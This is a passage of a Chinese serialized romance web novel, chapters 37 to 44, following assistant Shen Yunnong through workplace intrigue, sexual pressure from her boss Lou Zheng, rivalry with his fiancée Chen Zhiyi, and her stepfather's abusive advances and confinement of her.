着急也没用,沈韫浓迅速调整,让自己安静起来。 她倒是并不怕黑,被沈英耀关过那么多次禁闭,她已经拥有了在黑暗中自处的能力。 沈韫浓找了个地方坐下,静静地等待救援。 她想跟楼铮说一声,让楼铮告诉陈知意现在的情况,免得她等得着急, 谁知,这个储物室是信号屏蔽区,微信发出去,转了许久,得到一个红色叹号,打电话也是忙音。 时间一分一秒过去,沈韫浓在黑暗里大概坐了有一个多小时,外面连个动静都没有,一片死寂。 她情绪焦灼了一些,又开始拍门:“张经理?” 外面没有人回答她。 沈韫浓突然反应了过来。 借着手机光,她打开手里的礼盒,里面是一对豪华镶嵌的钻石耳环,粉蓝配色。 不管是款式还是颜色上来看,这对耳环都绝不会是陈知意要送给楼老太太的礼物。 今天的这一切都不是偶然,而是陈知意对她的警告。 沈韫浓彻底安静下来。 她在黑暗中抱膝静坐,再没有任何呼救的动作。 一直到晚上10点,防盗门打开,头顶的灯亮起来。 那位经理满脸愧疚,站在门口讪笑:“不好意思沈助理,今天电路出了问题,到现在才修好。” 沈韫浓神色淡然:“没关系,张经理。你也是身不由己。” 又把礼盒递给他:“这个我应该也不用带走吧?” 那位经理的神色更加尴尬,那笑容像是冻在了脸上,竟然面红耳赤了。 沈韫浓一个多余的眼神都没给他,静静地走出了银行。 出了银行大门,手机也有了信号。 提示音不断响起,显示她漏了不少电话和消息,她翻了一下,七十多个未接来电,只有两个号码。一个是楼铮的,另一个是陌生号。 沈韫浓没回复。 秋夜的冷风一吹,她裹紧了身上的大衣。 四点多到银行,在黑暗里关了将近6个小时,她这会儿精神疲倦,肚子饿得厉害。 银行附近就有小吃摊,沈韫浓点了一碗云吞,坐下来慢慢吃。 楼铮和陈知意又分别打了电话,她都没有接,后来干脆把手机静音放进了外套口袋里。 楼铮赶到的时候,沈韫浓正往云吞里加致死量的辣椒和麻油。 第三十八章 你想强迫我 楼铮坐在她对面,脸色也不太好。 “沈韫浓,安全出来了,不说一声?” 沈韫浓皱了皱眉,她不怪他的青梅竹马无故迁怒,已经是大度,他反倒质问起她来了。 她用廉价的塑料勺子把调料搅匀,盛了一颗云吞放进嘴里。 好难吃,沈韫浓这辈子都不会吃银行附近的云吞了。 楼铮见她不说话,也放软了语气:“今天被关了好几个小时,怕不怕?” 他不替陈知意解释。 尽管陈知意一直反复强调真的是银行方面的问题,她也没想到会出这样的事。 “你该不会觉得,我故意要整蛊她吧?”陈知意甚至先发制人。 沈韫浓从云吞碗里抬头,鼻尖被热气熏得有点红。 “我跟别人未婚夫鬼混,被报复也是活该,楼总过意不去的话,记得多发我一点奖金,毕竟你是共犯,也不清白。” 她语气冷静,毫无情绪,也没回答他怕与不怕的问题。 楼铮抬了抬眉:“我不是她未婚夫,这桩婚事,我从来没有承认过。” 沈韫浓没有再说话。 楼铮承不承认,在这件事的重要吗?早晚不还是要娶。 气氛沉默下来,她吃完了那碗全世界最难吃的云吞。 她扯了张纸巾擦了擦嘴,站起身来。 又恭恭敬敬问楼铮:“楼总,您今晚是住酒庄,还是住外面?” 她又拿出了一个助理该有的态度来。 楼铮心口登时堵了一口气。 他说住外面,沈韫浓便尽职尽责,在地图上找了最近的五星酒店。 楼铮的车就停在附近,他们一同坐车前往。 车上,两人都没说话。 沈韫浓没什么多余的神情,全程安静地坐着。 到了目的地,她去前台替他开了总统套,自己在同一楼层开了大床房。 之后,一路替把他行李箱拿到房间门口,刷卡开门。 恭恭敬敬道:“晚安楼总,明天9点半的飞机,我们最晚八点一刻出发。” 楼铮伸手把她带进了房里,直接压在了门口的矮柜上。 “想发脾气就发,有什么要求也尽管提,别摆出这副要死不活的样子。” 沈韫浓的后腰被柜子硌着,有点疼。 但楼铮压着她的肩,她又逃不了。 “我什么要求都可以提吗?”她问。 “你提就是。” “楼总,我们不要这样了好吗?”沈韫浓看着他,“以后,我们就像普通老板和助理一样。” 楼铮盯着眼前的女人,她眸色很静,看他的眼神坦荡得似乎没有一丝秘密。 “沈韫浓,我们不是炮友了?”他用她之前的话回敬她。 他声音不高,语气也不像生气,可沈韫浓觉得他周围的气场都一瞬间冷锐了起来。 她没有移开目光,还在逼迫自己迎着他。 “兔子不吃窝边草,我是你的助理,这样下去,对你的声誉也不好。” “我不在乎。” 这个人简直不可理喻! “我在乎,楼总。你又不缺女人,但我是真的需要这份工作,我们把关系简单化,不行吗?”沈韫浓语气开始急躁。 楼铮把压在她肩上的一只手抬起来,捏她的下巴。 “用完我就丢?沈韫浓,我是什么很贱的人吗,要被你利用?”楼铮冷笑,眸子里一片冰霜。 不是这样的。 那晚,明明是他识破了她的计划,故意支走了楼凤栖。 不然,她哪里会“用”得上他。 可她的计划不光彩,跟他争辩也不占理。 “那天情况特殊,我很感谢你。但你也不吃亏,我是……” “沈韫浓,”楼铮冷冷打断她,“全天下就你的第一次值钱是不是?” 沈韫浓抿唇。 楼铮的唇无限贴近她的耳朵,气息喷洒在她的耳廓上:“别做出这副受尽委屈的样子,这段关系,从那天开始,就由不得你了。” “楼总要强迫我吗?”沈韫浓的眼神犀利起来,满满的戒备姿态。 楼铮的唇已经含住了她的耳垂。 湿热的气息让沈韫浓抖了一下,她握紧垂在身边的拳,稳住自己的心神。 楼铮说:“你最好是自己愿意,不愿意的话,强迫你也不是不行。” 他轻吮了她的耳垂一口。 沈韫浓微微战栗,停不下来。 这段关系,什么时候变成了这样? 楼铮这样的人,想要什么样的女人没有呢,何苦跟她一个在泥淖里的人耗! 她万念俱灰,眼睛都黯淡下来。 楼铮的唇已经挪到了她的脖子上。 他撩起她的头发,露出后颈雪白的皮肤,之后,咬了上去。 皮肤上的刺痛感传来,带着暧昧的酥麻。 沈韫浓不动。 也许是觉察到了她的僵硬和不配合,楼铮终于放开,静静地退后半步。 “早点休息吧。”他说,又深深看她一眼,“沈韫浓,你乖一点,别想着逃。” 沈韫浓不知道自己怎么回的房间。 当晚,她辗转反侧,越想越觉得窝囊。 她是怎么搅进这趟浑水的? 明明是楼铮自己要以身入局,害得她跟楼凤栖不尴不尬,毫无进展。 如今,又被陈知意针对。 她已经够退让了! 沈韫浓起身,抱着膝盖坐在床上。 她觉得自己被耍了,不管是楼铮还是陈知意,他们逗弄她,不过像逗弄遇到的流浪猫狗。 她成了他们情侣小情趣Play的一环。 烦死了! 凌晨,她点开微信,有一条好友请求。 头像是一朵粉色的棉花糖,微信名:南风。 南风知我意。 沈韫浓冷笑了一下,点了通过。 那边自我介绍,果然是陈知意。 “没想到会出现这样的意外,韫浓,你还好吧?”她不叫她沈助理了。 沈韫浓说没事。 陈知意表现出了满是愧疚的样子,说要找机会请她吃饭,还准备了礼物给她赔罪。 “一想到你一个小姑娘在小黑屋里关了大半天,我就后怕。”她说。 沈韫浓也装作完全不知道是她的设计一般,寒暄客气了两句。 她们约了回海市后一起吃饭。 结束对话后,沈韫浓眼底一片凉。 打不过就加入,她倒是要看看这潭水还能多浑。 回到海市。 除了正常报销外,沈韫浓因为这几天的出差“办事周全、高效”,额外得到了一笔五位数的出差补助。 财务告诉她,“这个补助不走公账,是楼总的私户里出。” 沈韫浓也只是简单谢过。 这是她那天被困的窝囊费,应得的。 她很快跟陈知意约了饭。 第三十九章 最美画模 陈知意约沈韫浓吃日料,选了家格调很高的餐厅。 她一见沈韫浓便拿出一块卡地亚手表赔礼,嘴上不住道歉,说自己疏忽了,没有问清楚情况就让她过去,实在是不应该。 态度客气又谦卑,沈韫浓都快信了。 只说:“发生这种事谁也不想,过去了就过去了,不必太放在心上。” “没有给你造成心理阴影就好。”陈知意拉着她的手,看上去情真意切,“韫浓,我实在心里不安。” 沈韫浓笑笑,转移了话题。 吃饭期间,陈知意不免要提起楼凤栖。 “我和阿铮还有小叔我们三个是一起长大的,以后,再有什么小叔也去的活动,我叫着你。”她说。 沈韫浓对她客气道谢,这话却并没怎么放在心上。 全程都是陈知意在说,沈韫浓适时捧场。 后来,她又说自己的艺考机构开业在即,问沈韫浓要不要给她做模特。 开出的待遇很诱人—— “你只需要每周日下午来一趟,下午2点到6点,2000块。” 陈知意捧着梅子酒,眼睛越过杯口看着沈韫浓,看上去真诚极了。 短短的几次接触,沈韫浓对她有了初步印象。 活泼娇俏,很会拿捏男人,而且,陈知意还有好容貌,好家世,以及天才画家的光环。以上,任意哪张都是好牌,组在一起是王炸。 不像自己,除了一张脸,似乎一无是处。 自卑从心底滋长,又被不动声色地压下去。 对于陈知意的邀约,沈韫浓怕有坑,先推辞说问问楼铮看看,毕竟她是楼氏的员工,在陈知意的画室做模特,是明目张胆做兼职。 陈知意马上拿出手机:“没关系,我的事楼氏一定会开绿灯的。你要不放心,我跟阿铮和老太太说。” 沈韫浓马上制止:“不必了,我答应就是。” 且不说她一个小小的助理,实在是犯不上打扰老太太,最主要是,在那一瞬间,她突然想到了陈知意的用意。 陈知意这么做,无非是想将她放在眼皮子底下盯牢。 人最怕对敌人一无所知,总能看到她,就有机会发现端倪,也更好对症下药。 她对楼铮没有非分之想,不怕陈知意盯。 给陈知意做模特,不仅能赚更多的钱,兴许还能让楼铮有所收敛,未必是坏事。 但她也没有把话说满,只说先去试一个月,看是否能跟工作平衡好。 “阿铮那边你放心好了,有我呢。”陈知意大包大揽。 很快,陈知意的艺考培训机构便热热闹闹开业了。 周日下午1点半,沈韫浓提前到画室。 行至门口,隔着大玻璃窗,便看到了穿亚麻衬衫的男人,正背对着窗子作画。 他盘腿坐在地上,左耳上十字架样式的耳钉很显眼。 沈韫浓走进去,才看清了画的内容:一副扭曲的人体解剖图。 心肝脾肺肾脏肠道都有,与教科书上的解剖图不同的是,这一副是毕加索风,所有内脏都不在它原有的位置上。 看得出,绘画者不是科班出身,绘画功底一般。 奈何奇思妙想又有创意,提升了整体的趣味性和艺术价值。 沈韫浓不意外在这里看到他,站着看了一会儿,直到绘画者在解剖图心脏的位置,落款了一个大大的“楼”字,才开口打招呼:“楼总。” 楼铮回头,似笑非笑睨她:“全海市最漂亮的画模。” 这是陈知意宣传语里的一句:【这里有全海市最专业的老师和最漂亮的画模】 沈韫浓很淡定:“谬赞了,楼总。” 楼铮嗤笑一声,依然坐在地上,转着身子,微微抬着头看她:“你来这里做画模是因为我给的薪水不够吗?” 沈韫浓:“没人会嫌钱多。” 楼铮还未开口,只听一个欢快的声音道:“你来了呀,宝贝!” 是陈知意从旋转楼梯上走下来。 她穿了一条蓝色的曳地长裙,脚上踩了一双草编的浅口鞋,往下走时,裙摆一荡一荡,风采翩然。 陈知意一下来,便亲亲热热地拉住沈韫浓的手,又对楼铮道:“这就是我说的惊喜。没想到吧,韫浓以后是我的模特了!” 她说着,俏皮地对沈韫浓眨眼。 沈韫浓波澜不惊,浅浅微笑着。 “那我还要谢谢你,挖我墙角呗?”楼铮起身,将自己的画作转过去给陈知意看,“如何?” 陈知意果然认真地蹲下身看了看。 又抬眼对他笑:“你一个门外汉画成这样非常厉害了,不过要是有本老师的指点,必然会更上一层楼。怎么样,在我这儿交个学费?” 沈韫浓的心猛地悬了起来。 不要啊,如果在这里还要面对楼铮,主业和副业有什么区别? “不学。”楼铮很快拒绝,“我怕某人假借教画画之名吃我豆腐。” 陈知意撇嘴,又很快起身,一脸坏笑地摸了一把楼铮的胸肌。 “我想吃你豆腐还用得着趁上课?” 她摸完笑得更娇俏,对沈韫浓道,“韫浓,你也来试试,手感真好!” 沈韫浓笑笑,哪敢动。 楼铮退后半步,眉头都皱起来:“我不干净了。” 两人打情骂俏,沈韫浓熟视无睹,保持微笑在一旁神游。 直到陈知意也觉得没劲,才拉了沈韫浓的手腕说:“教室在二楼,我带你上去。” 沈韫浓很不习惯这样的接触,却也没有反抗,就这样跟着陈知意去了二楼教室。 楼铮紧随其后。 三人进了教室,陈知意让沈韫浓转个圈给她看。 沈韫浓也没有扭捏,依然转了一圈。 应陈知意要求,她今天穿了件珠光白的旗袍,耳朵上也戴了珍珠耳钉。 “这件衣服不错,这个颜色最不好画,正好让我趁机摸一下这些学生的功底。”陈知意说。 又赞叹,“韫浓真美,穿上这个颜色就显得很圣洁,让男人不敢有邪念。是不是?” 最后这句是问楼铮。 楼铮低头掏出手机,横屏点入游戏界面,才抬眼:“什么?” 陈知意撇嘴嘟哝:“你这人真没劲。” 沈韫浓看墙上的表,2点钟开课,现在已经1点40了。 此时,楼下传来开门声,有上课的学生过来。 陈知意出去接人。 教室内只剩下沈韫浓和楼铮两人,她下意识就想躲他远一点。 还没迈步子,便被楼铮预判。 他上前一步,迅速兜住了她的腰,之后,将她压在了放颜料的桌子旁。 第四十章 陈知意试探 沈韫浓的后背抵在身后的桌子上,身后硬硬的木头质感,硌得她后背生疼。 楼铮的手,一只掐在她的腰上,另一只按着她的手臂。 浓烈的男性荷尔蒙气息裹挟着她,空气都变得稀薄起来,沈韫浓只觉得呼吸困难。 “别告诉我,你来给陈知意做模特只是为了赚钱。”楼铮的一双眼睛暗沉沉的,盯着她看,不许她有一丝的退缩。 沈韫浓不躲,回视着他:“当然是为了赚钱,我买房了,每个月要还一万块月供。” 高贵如楼铮,对月供这个东西是真的不熟悉。但他隐约猜出了那是什么。 沈家的女儿买房还要贷款,想必首付都不是沈英耀给的。 她的处境是真的难。 他收回那点莫名的酸涩,看到她的眼底去:“需要钱,我可以给你。” 沈韫浓:“不劳而获不符合我的价值观。” “呵”楼铮笑容很凉,声音压得很低,带着莫名的火气,“沈韫浓,你以为不要我的钱,就可以假装什么都没发生过了吗?我说过,游戏已经开始,不是你想结束就能结束的。” 沈韫浓被他看得心底也一片凉。 “我不明白。”她上来了倔脾气,对他怒目而视,“你明明不缺女人,为什么是我?” “是你主动勾引我,你承认吗?”楼铮凑得无限近,两人的鼻尖都要贴在一起。 “哪一次?” 这是沈韫浓一直没想通的事。到底是哪个环节让楼铮误会,他一直说她先招惹他,逼她承认是她先贴上来? “每一次。”楼铮的唇换了位置,贴近她的耳朵,呼吸间的热气让她缩了下脖子。 “沈韫浓,只要你出现在我面前,就是勾引。” 沈韫浓:??? 她要是个解风情的人,此刻该能听出话里的暧昧,跟楼铮有来有回过上几招。 可她不是。 她的风情万种都是为了生存磨砺出来的本能,但骨子里是个调情差生。 比如现在,只觉得楼铮是欲加之罪何患无辞,故意找她麻烦。 “楼铮,你应该去看看精神科。别人是被害妄想症,你是被勾引妄想症!” 她真的恼了,开始大力挣扎,试图将楼铮推开。 偏偏她推,楼铮便压得更紧。 推搡间,桌子晃了晃,上面立着的一个画架打翻,调色盘直直地对着沈韫浓掉下来。 楼铮带着沈韫浓一转,调色盘扣在了她的胯骨上,白旗袍被染了一片脏污。 陈知意带着三个学生进来。 “你们在干什么?”她的声音适时响起。 沈韫浓的心脏停滞了两拍,在楼铮漆黑的瞳孔里,她看到了自己脸上的慌张。 楼铮一脸坦荡,丝毫不慌:“你问她。” 他握住沈韫浓手臂的手指这才松开,她细白的手臂上,留下一圈红痕。 沈韫浓此时已经调整了情绪,她看向陈知意抱歉地微笑:“我刚才撞在了桌子上,把你的调色盘打翻了。” 又低头看自己的衣服,“我回去换个衣服再来?” 陈知意的眼睛在楼铮和沈韫浓脸上扫视,之后,淡然地笑笑:“我还当怎么了,调色盘而已,都是小事。倒是你这个受惊小鹿的表情,很少有人能做得这么好看,特别适合入画。” 说罢,陈知意又看向她的三名学生,“我说我的模特全海市最美,不是吹牛吧?” 那三名学生自然捧场。 “白旗袍被调色盘泼脏,也很有美感,就这么画吧。” 她拉了沈韫浓在那三人中间坐下。 按照陈知意的指示,沈韫浓摆好动作。 她微微侧坐着,双腿并拢,身子微斜,一只手搭在椅背上,另一只手搭在膝上,眼睛垂着向下。 她骨架小,明明很瘦,露出的手臂却并不柴,看着温香玉软。 姿态更是慵懒中透着端庄,活色生香。 陈知意有点后悔了,面上还要保持微笑,斜斜地看一眼楼铮:“怎么样,我的模特绝了吧?” 楼铮没说话,但他的眼神非常暗,带着浓烈的攻击性。 一个姿势摆了4个小时,沈韫浓累得胳膊都抬不起来。 但想想2000块到手,还是有点开心的。 她独自坐在教室里喘口气,陈知意送学生们下楼。 缓了十几分钟后,沈韫浓才走下去。 一楼就陈知意在,看来楼铮已经走了。 “辛苦了。”陈知意对着她笑,又从上到下打量了一圈,“怎么会有人这么美啊,你简直是被造物主偏爱!现在看,小叔都配不上你。” 这话沈韫浓不敢接,只是笑笑。 果然,陈知意后面有话等着:“其实,你为什么不搏一搏,追楼铮试试?” 沈韫浓:“……” 陈家父女一样,都喜欢拿人当傻子。 “楼总不是我能肖想的人。”沈韫浓说,“再说了,哪有员工会愿意一天二十四小时都对着老板的?” “哎呀,楼铮也是人。”陈知意巧笑倩兮,“是人就有七情六欲,抵挡不了美女的诱惑。” 她凑到沈韫浓耳边,声音却不小:“做个交易怎么样?” 沈韫浓不说话,陈知意便自顾自说下去:“我不想嫁给楼铮,还要去两个老太太面前演。烦死了。我给你钱,一百万够不够?不需要让楼铮爱上你,只要他愿意跟你睡就行,到时候你拿到证据……” 越说越不像话。 “陈小姐!”沈韫浓厉声打断她:“我家世是不如你,也确实想赚钱,但我不是你想的那种人,也请你不要拿这种事来侮辱我。” 陈知意也不在意她的态度,只是不信:“你不喜欢楼铮?” 沈韫浓斩钉截铁:“不喜欢。” 陈知意突然大笑起来。 “宝贝,你这样坚定显得我们楼小爷好没有魅力呀。”她说,又看了一眼画室后面屏风的位置,“阿铮,我用100万诱惑韫浓她都不选你哦,看来你也并没有那么有魅力。” 陈知意笑的花枝乱颤,沈韫浓看过去,才发现屏风后面有缭绕的烟气。 第四十一章 赔你旗袍 沈韫浓皱眉,走到屏风后面去。 楼铮正靠在椅子上,手里捏着根燃着的香烟,神色恹恹的。 见她进来,楼铮抓住她衬衫下摆,一扯,将她拉到自己身前。 他疯了?!陈知意就在屏风后面! 沈韫浓紧张得要命,生怕陈知意察觉,不敢作声。 楼铮扣住她的后脑,不轻不重地咬了一下她的唇,才缓缓起身。 “有病。”他说。 先从屏风后走了出去。 这话不知道是在骂陈知意还是她。 沈韫浓被耍,烦得要命,几次调整呼吸,才能强迫自己出去面对陈知意。 “开个玩笑而已,你不生气吧?”陈知意拉着她的手,态度反而更加亲热了。 现在两人的关系,像是撕破脸但又只撕了一点,还把撕破的那部分盖回去,粉饰太平的状态。 沈韫浓抽出手,神色冷静:“陈小姐,这样的玩笑请不要再开了,不然,我怕我工作都保不住。” “好嘛好嘛,是我不好。”只要沈韫浓对楼铮没想法,陈知意就很好说话,“以后绝对不会了。” 看着面前沈韫浓一本正经的样子,陈知意突然觉得自己真的想多了。 再说,一个小助理而已,值得她一而再再而三试探?她都觉得自己掉价。 沈韫浓回去后,越想陈知意对她的态度越来气。 都怪楼铮! 她身心俱疲,晚饭都没吃,睡了一个长长的觉,才把精神养足。 第二天上班,楼铮带了潘琳去谈客户,一天没有回来,她相对轻松。 晚上,她已经到了家门口,接到了楼铮的电话。 “来接我。”他说,“位置发你微信。” 沈韫浓问:“司机请假了吗?” “嗯。” “那别的助理……” “你要是不想干了,就去办离职手续。” 沈韫浓被一句话堵得无话可说,很快打车到了他发的位置。 楼铮从一个写字楼的底商出来,手里拎着一个白色的手提袋,看上去毫无醉意。 他没给沈韫浓车钥匙,而是把手里的手提袋递给了她:“赔你的旗袍。” 沈韫浓接过,拿出来看了一眼。 她那件旗袍,是顾曦薇不要的。她自己做了改动:把开衩从大腿改到了膝盖以下的位置,因为她比顾曦薇更瘦,褬也多收了一寸。 楼铮居然连这两处都注意到了,做的一模一样。 细节怪。 “我那件是我妈淘汰的旧旗袍,赔不赔没那么要紧。”她说,却也没把袋子还给他。 做都做了,还给他别人也穿不了。 楼铮走在前面,语气很淡:“跟着我,你可以穿一辈子新旗袍,每天不重样。” 人无语的时候,真的会想笑。 沈韫浓笑了。 如果她只是个穿漂亮衣服就满足的人,何至于这么辛苦,只要屈服于沈英耀就好。 可她不愿意。 这些男人什么时候能懂,做一个漂亮的傀儡娃娃对她来说是侮辱,而非荣耀。 她要的是往上走,是成为上位者,掌握话语权,而不是成为上位者的一件装饰品。 没听到她的回答,楼铮又立住,转身。 沈韫浓脸上的那抹讽刺的笑意还没来得及收起,直直地撞进他的眼里。 楼铮眉心一跳。 第四十二章 第一次反抗 头一次,楼铮觉得自己被讨厌了。 他在沈韫浓眼里看到过太多情绪:欢愉,戏谑,跃跃欲试的野心,被撩起的欲望,不甘的反抗,但这样明显的反感是第一次。 楼铮是天之骄子,鲜少有为自己做过的事,说过的话,后悔的时候。 可现在他看到沈韫浓的表情,有一瞬间的后悔。 他对沈韫浓说跟着他有一辈子的新旗袍穿,这和那些土大款包养女人,把人关在别墅里,买新款时装和包,有什么区别? 他不是这个意思。 他原本是觉得两人最近的关系有点僵,看她这几天情绪太低,今天特地提前结束工作取了旗袍,要哄哄她。 谁知,却踩在了她的死穴上。 “那以后我是不是还要去学小曲儿,每天穿不同的旗袍唱给楼小爷听。 楼小爷再找个房子把我养起来,不见人不工作,每天做头发做美容,学床上功夫。 养到40岁,人老珠黄,往国外一丢,让我随便开个美甲店,洗脚城,自生自灭。”沈韫浓还在笑。 楼铮一口气堵在喉咙里,脸也沉了下来。 “我是这个意思吗?”他立定,抓住沈韫浓的胳膊,往怀里扯,“沈韫浓,我什么时候拿你当过那种人?” 沈韫浓猛推他,用了蛮力,愣生生从他怀里挣脱出来:“你就是这个意思,我妈在赌场数过筹码,所以,我在你眼里也不配嫁个好人。 楼铮,我在那样的环境里活下来,不是等着被包养,往下坠的。” 她盯着他的眼睛,一字一顿:“我长得这么好,要是想堕落,你猜用不用等到成年,用不用兜兜转转到你这里?你太不拿我当人了。” 楼铮立在那里,四周的天都黑了下来。 沈韫浓把自己心口的刀拔下来,对着他胡乱刺,两人都血肉模糊。 她双眼通红,想落泪,却硬生生忍了。 楼铮敛眉,不再解释,任她发泄。 时间一分一秒过去,沈韫浓最终颓下来,先妥协:“对不起,楼总,是我失态了。” 楼铮抿唇看她,脸色发白,没有说话。 沈韫浓又伸手:“车钥匙给我,我送您回去。” 楼铮:“不必,我没喝酒。” 他原本想跟她一起吃个晚饭的,看这情形,跟他待在一起对她来说兴许是煎熬。 沈韫浓点点头,深呼吸:“那多谢您的旗袍,我先回去了。” 她走得飞快,一直到出租车上,才滚下一串眼泪。 在路上,沈韫浓心思百转。 她反思复盘,刚才,她真的太敏感了。 楼铮是什么人,想包养她,何至于拐弯抹角? 还送旗袍,他直接把她绑了,关地下室,要她日夜服侍怕是都没人管她死活。 他要她死,她都得乖乖受着。 她这阵子,实在是太压抑,才会莫名发疯。 恐怕楼铮从小到大,都没被人这样奚落过,她这份工作,怕是也做不成了。 行吧,离开楼氏,未必是坏事。 毕竟现在她的处境实在尴尬,有楼铮在,她很难想拿下楼凤栖。 不如换个角度试试,或者就干脆改弦更张,去碰碰新的人。 还没到家,沈韫浓就已经调整好了情绪。 回到家,刚要换衣服,大管家过来敲门:“二小姐,先生请您去书房一趟。” 沈英耀从看守所回来后,异常沉默,把自己关在房里好几天,这次主动找她,也不知为了什么。 沈韫浓去书房。 沈英耀从案牍间抬眼,他瘦了太多,眼窝都凹陷下去。 “我这次的事,多半跟楼家有关。”他说。 沈韫浓神色淡淡:“您和楼家无冤无仇的,不至于吧。” “呵,别跟我耍小聪明,是不是你动了手脚?”沈英耀从桌前起身,步步逼近。 沈韫浓往后退了一点,跟他保持距离:“爸,冷静。” 沈英耀在半步远停住。 “你辞职,以后来沈氏做我的秘书。” 沈韫浓:“好啊,那我要四分之一的股权。” 沈英耀:“我在你成年的第一天就说过,只要你答应我,别说四分之一,我的那份都能给你。” 沈韫浓:“答应什么,跟你乱搞?” 沈英耀抬高嗓门:“不算乱,我们没有血缘关系!” 好容易压下去的阴郁情绪又升起,沈韫浓勾起唇角:“那不影响我看不上你,老登。” 沈英耀被骂,脸色难看,抄起桌上的一个金蟾,对着沈韫浓砸过来。 沈韫浓拿起煮得正沸的茶壶,对着沈英耀浇过去。 这是沈韫浓第一次动手反抗沈英耀,她发了狠,这一架势必要打赢。 “沈韫浓,好样的!”沈英耀被浇了开水,疼得呲牙。 即便如此,他打她时,依然避开那张脸,只砸她的肩膀手臂。 两父女在书房打得乒乓作响,外面走廊里,沈进廉,沈清妙探出头看笑话,而顾曦薇吓得直敲门。 “宝宝,不要跟你爸爸闹!” “英耀,你消消气!” 门在里面被猛踹了一脚,顾曦薇只听沈英耀一声怒吼:“滚!” 外面万籁俱寂,没人敢作声了。 里面两人对着摔了不少东西,彼此横眉竖目。 但沈韫浓发现一点,沈英耀的怒气并没有因为她的反抗更盛,反而,他眉宇间越发兴奋。 “你这么有骨气,更像她了。”良久,沈英耀看着一地狼藉说。 沈韫浓没错过这话里的意思,她停了手,怕给这老登打爽了。 不出意外,她又被关了禁闭。 顾曦薇每次被关禁闭,是在家庙里,条件多少好一些,至少一日三餐有人送。 但沈韫浓就不行了。 她直接被丢进了杂物间,每次都是24小时起步。 这次沈英耀生了大气,她的“刑期”也更久,一关就是两天。 第四十三章 楼铮服软 沈韫浓都佩服自己的敬业,在手机被管家没收前,她居然还能胡乱找借口去系统里请个假。 难熬的两天,无尽的黑暗和饥饿裹挟着她。 等终于从杂物间被放出来时,沈韫浓整个人虚得要命,好像下一秒就要昏死过去。 顾曦薇端了粥和一些清淡的菜来房间看她,眼泪汪汪。 “宝宝,这次又是为什么跟你爸爸吵架啊?你爸爸只是性格强势一点,人不坏的。关你的时候,最心疼的就是他。你看,这些就是他让厨房做的,说饿了两天,吃这些更好消化一点。” 沈韫浓简直要被亲妈蠢笑了,现在都不用别人PUA,她已经会自我洗脑了。 如果沈英耀这样的都不算坏人,那她就是圣母玛利亚。 沈韫浓懒得理顾曦薇,胡乱聊了两句把她打发走,才有空看手机。 很好,她不在的这两天,居然没有收到楼氏的解雇通知,工作没丢。 沈韫浓不知道的是,楼铮在公司发了大脾气。 她请假不上班,楼铮当她在跟自己怄气。 什么离谱的请假理由:沈英耀摔断了腿! 没记错的话,这个理由可是在跟段文修吃饭那天用过了! 这两天,什么都不对,一群人开会,市场部总监汇报的数据出了错,楼铮马上冷了脸。 见他冷脸,一个个都紧张了起来,也不知怎么了,紧张越出错,每个人都有点问题。 不是什么大问题,但楼铮手里的咖啡杯飞过去,砸在多媒体设备上,摔得粉碎。 “要是干不了,就都滚。楼氏给你们开那么多钱,不是为了看你们出洋相!” 他发火,一帮人噤若寒蝉,谁都不敢劝。 楼凤栖坐在他的右手边,垂着眼若有所思。 公司最近业绩不错,没什么值得担忧的地方,楼铮最近的生活也不错,没有什么大变动,唯一的变化是沈韫浓这两天请了假。 是因为她吧?楼凤栖嗤笑。 都是男人,他早就看出了楼铮看沈韫浓的眼神不对劲。 但沈韫浓对他倒是没什么别的意思,她的目光永远追随自己。 楼凤栖虽然比楼铮大三岁,从小到大,却处处被楼铮压一头。 可他唯一比楼铮差的,无非是,他不如楼铮会投胎。 他只是三房里的小儿子,而楼铮是长子长孙。 他的父亲要仰仗楼铮的爷爷吃饭。这一点,从他出生就注定。 因此,沈韫浓的出现,让楼凤栖有种隐秘的胜利感。这样的美人,没看上楼铮,偏偏喜欢他。 也越是这样,他越假装看不懂的她的心思。在她觉得灰心,要放弃时,又适当给一点甜头,吊着她。 眼下,看着楼铮狂怒,楼凤栖心底有一丝欢喜。 但这种较量,绝不能拿到明面上,说不得。 不仅如此,他还要在会议结束后,亲自泡了菊花茶,送去给楼铮降火,宽慰他两句。 楼凤栖都觉得自己割裂,表里不一。可有什么办法呢,在没有扳倒楼铮前,他只能蛰伏。 但有一点,楼凤栖有点不满:他发微信关心了一下沈韫浓,但她没回。 过去她可从来不这样,难道,饵下少了? 沈韫浓周四回来上班。 她面色平静,好似什么都没发生一般,还在楼铮到办公室的第一时间端了杯咖啡送过去。 这份工作要做下去,她就得找台阶下来。 楼铮不给,她就自带梯子。 脸皮这东西没那么重要。 “楼总早上好,咖啡趁热喝。”她说,并不指望楼铮的回复,低眉顺眼地走出去,要给他带上门。 谁知,楼铮叫住她。 “沈韫浓。” 她回头,两人四目相对,眼神有一瞬间的胶着,纠缠。 沈韫浓先醒过来,瞬间变得坦荡。 她面带微笑:“楼总。” “你还生气吗?”楼铮问她。 沈韫浓审视着面前这个男人,他今天应该不用外出见客,没穿西装,衬衫外面穿了件米色针织衫,看上去比西装革履时柔和不少。 对于他的问题,她有点意外。 她算什么,生不生气,哪里有那么重要? 于是,她微笑:“是我那天头脑发昏,乱发脾气,您别跟我一般见识才好。” 楼铮从办公桌后起身,行至门口,把门关上。 “那天只是想哄你开心,说那句话的时候,没多想。” “嗯。” 没想到楼铮会跟她道歉。 比起沈英耀的所作所为,楼铮做的这点事实在是没什么。 “是我自己太敏感,有点不识好歹了。那天真的很不好意思。”沈韫浓说。 她态度真诚,敏感如楼铮都没看出破绽。 他走过来,把双手按在她肩膀,垂眸看她。 他想说,我从来没想包养你,你从来不是金丝雀。 觉得这话为时尚早。 他又收回了手,退后半步:“不生气就好,去忙吧。” 沈韫浓点点头,退了出去。 又过了几天,楼老太太的寿宴到了。 因为是80大寿,比较重视,办得异常隆重。 世家都拿到了请柬,也有沈家的一份。 沈英耀带着沈清妙和沈韫浓前往。 原本沈英耀只想带沈清妙的,毕竟她和段文修的婚事泡汤,沈英耀急需替她寻一门新的。 带沈韫浓,纯粹是因为沈韫浓本来就在楼氏上班,她在楼家人面前是挂了号的,不去不行。 不管怎样,这对沈韫浓来说,都是个跟楼凤栖拉进关系的机会,她决定好好把握。 第四十四章 寿宴事端 寿宴在楼家自己的酒店举行,为期三天。 沈韫浓跟着沈英耀入场后,就去找林贞了。 她跟林贞在角落里吃蔬菜沙拉,一边看着沈清妙跟个花蝴蝶一样四处交际,一边专心寻找楼凤栖的身影。 楼凤栖来之前,楼铮先到。 一瞬间,所有人说话的声音都降低了几个分贝,纷纷将目光转向门口的方向。 沈韫浓也没忍住,看了过去。 